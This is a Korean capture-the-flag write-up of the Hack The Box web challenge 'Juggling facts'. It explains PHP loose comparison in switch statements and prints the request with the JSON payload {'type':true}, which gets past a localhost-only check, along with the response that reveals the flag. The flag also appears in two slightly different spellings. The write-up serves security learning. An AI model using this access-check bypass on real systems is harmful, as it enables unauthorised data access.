Juggling facts

처음 접속하면 위와 같은 창을 볼 수 있다. 3개의 버튼이 존재하고 각 버튼을 누를 때마다 POST 요청이 가는 방식이다.

```
POST /api/getfacts HTTP/1.1
Host: 167.99.85.216:30978
Content-Length: 17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/53
Content-Type: application/json
Accept: */*
Origin: http://167.99.85.216:30978
Referer: http://167.99.85.216:30978/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"type":"spooky"}
```

요청 패킷은 위와 같다.

Source Code Analysis

```
INSERT INTO facts(fact, fact_type) VALUES (
    '<p>Around <span class="highlight-number">90%</span> to <span class="highlight-number letter-ss17">95%</span> of the pro
    'spooky'
)
...
```

테이블의 내용은 위와 같다. 해당 테이블에 플래그가 들어있어서 해당 테이블을 조회하는 것이 목표다.

```
<?php
class FactModel extends Model
{
    public function __construct()
    {
        parent::__construct();
    }

    public function get_facts($facts_type)
    {
        $facts = $this->database->query('SELECT * FROM facts WHERE fact_type = ?',[
            's' => [
                $facts_type
            ]
        ]);

        return $facts->fetch_all(MYSQLI_ASSOC) ?? [];
    }
}
```

`FactModel.php`의 내용이다. `get_facts()`의 인자가 `secrets`이면 플래그를 획득할 수 있다.

```
$router->new('POST','/api/getfacts', 'IndexController@getfacts');
```

다시 `index.php`로 가보면 `getfacts()`가 호출되는 것을 볼 수 있다.

```
public function getfacts($router)
{
    $jsondata = json_decode(file_get_contents('php://input'), true);

    if ( empty($jsondata) || !array_key_exists('type', $jsondata))
    {
        return $router->jsonify(['message' => 'Insufficient parameters!']);
    }

    if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
    {
        return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
    }

    switch ($jsondata['type'])
    {
        case 'secrets':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('secrets')
            ]);

        case 'spooky':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('spooky')
            ]);

        case 'not_spooky':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('not_spooky')
            ]);

        default:
            return $router->jsonify([
                'message' => 'Invalid type!'
            ]);
    }
}
```

`type`이 `secrets`가 아니고 `switch-case`문을 통과하기만 하면 플래그를 통과할 수 있다.
문제 이름에서 알 수 있듯이 `Type Juggling`을 사용하면 된다.

==로 느슨한 비교

	TRUE	FALSE	1	0	-1	"1"	"0"	"-1"	NULL	array()	"php"	""
TRUE	TRUE	FALSE	TRUE	FALSE	TRUE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE
FALSE	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	TRUE	TRUE	FALSE	TRUE
1	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
0	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	TRUE	FALSE	TRUE	TRUE
-1	TRUE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
"1"	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
"0"	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE
"-1"	TRUE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
NULL	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	TRUE	TRUE	FALSE	TRUE
array()	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	TRUE	FALSE	FALSE
"php"	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE
""	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE

만약 `type`이 `true`라면 `if`문과 `switch-case`문을 전부 통과할 수 있게 된다.
이는 `switch-case`문이 느슨한 비교를 하기 때문이다. 느슨한 비교로 인해 `true`가 들어갈 경우 case가 `secrets`일 때의 코드가 실행된다.
참고로 공식 문서를 보니 PHP 8.0.0 아래의 버전까지만 해당된다고 한다.

Request

P Raw Hex

```
1 POST /api/getfacts HTTP/1.1
2 Host: 167.99.85.216:30978
3 Content-Length: 13
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/120.0.6099.216 Safari/537.36
5 Content-Type: application/json
6 Accept: */*
7 Origin: http://167.99.85.216:30978
8 Referer: http://167.99.85.216:30978/
9 Accept-Encoding: gzip, deflate, br
10 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
11 Connection: close
12
13 {
    "type":true
  }
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Mon, 22 Jan 2024 04:06:44 GMT
4 Content-Type: application/json; charset=utf-8
5 Connection: close
6 Content-Length: 83
7
8
9 {
    "facts":[
      {
        "id":19,
        "fact":"HTB{juggllng_ls_d4ng3r0u5!!!}",
        "fact_type":"secrets"
      }
    ]
  }
```

HTB{juggl1ng_1s_d4ng3r0u5!!!}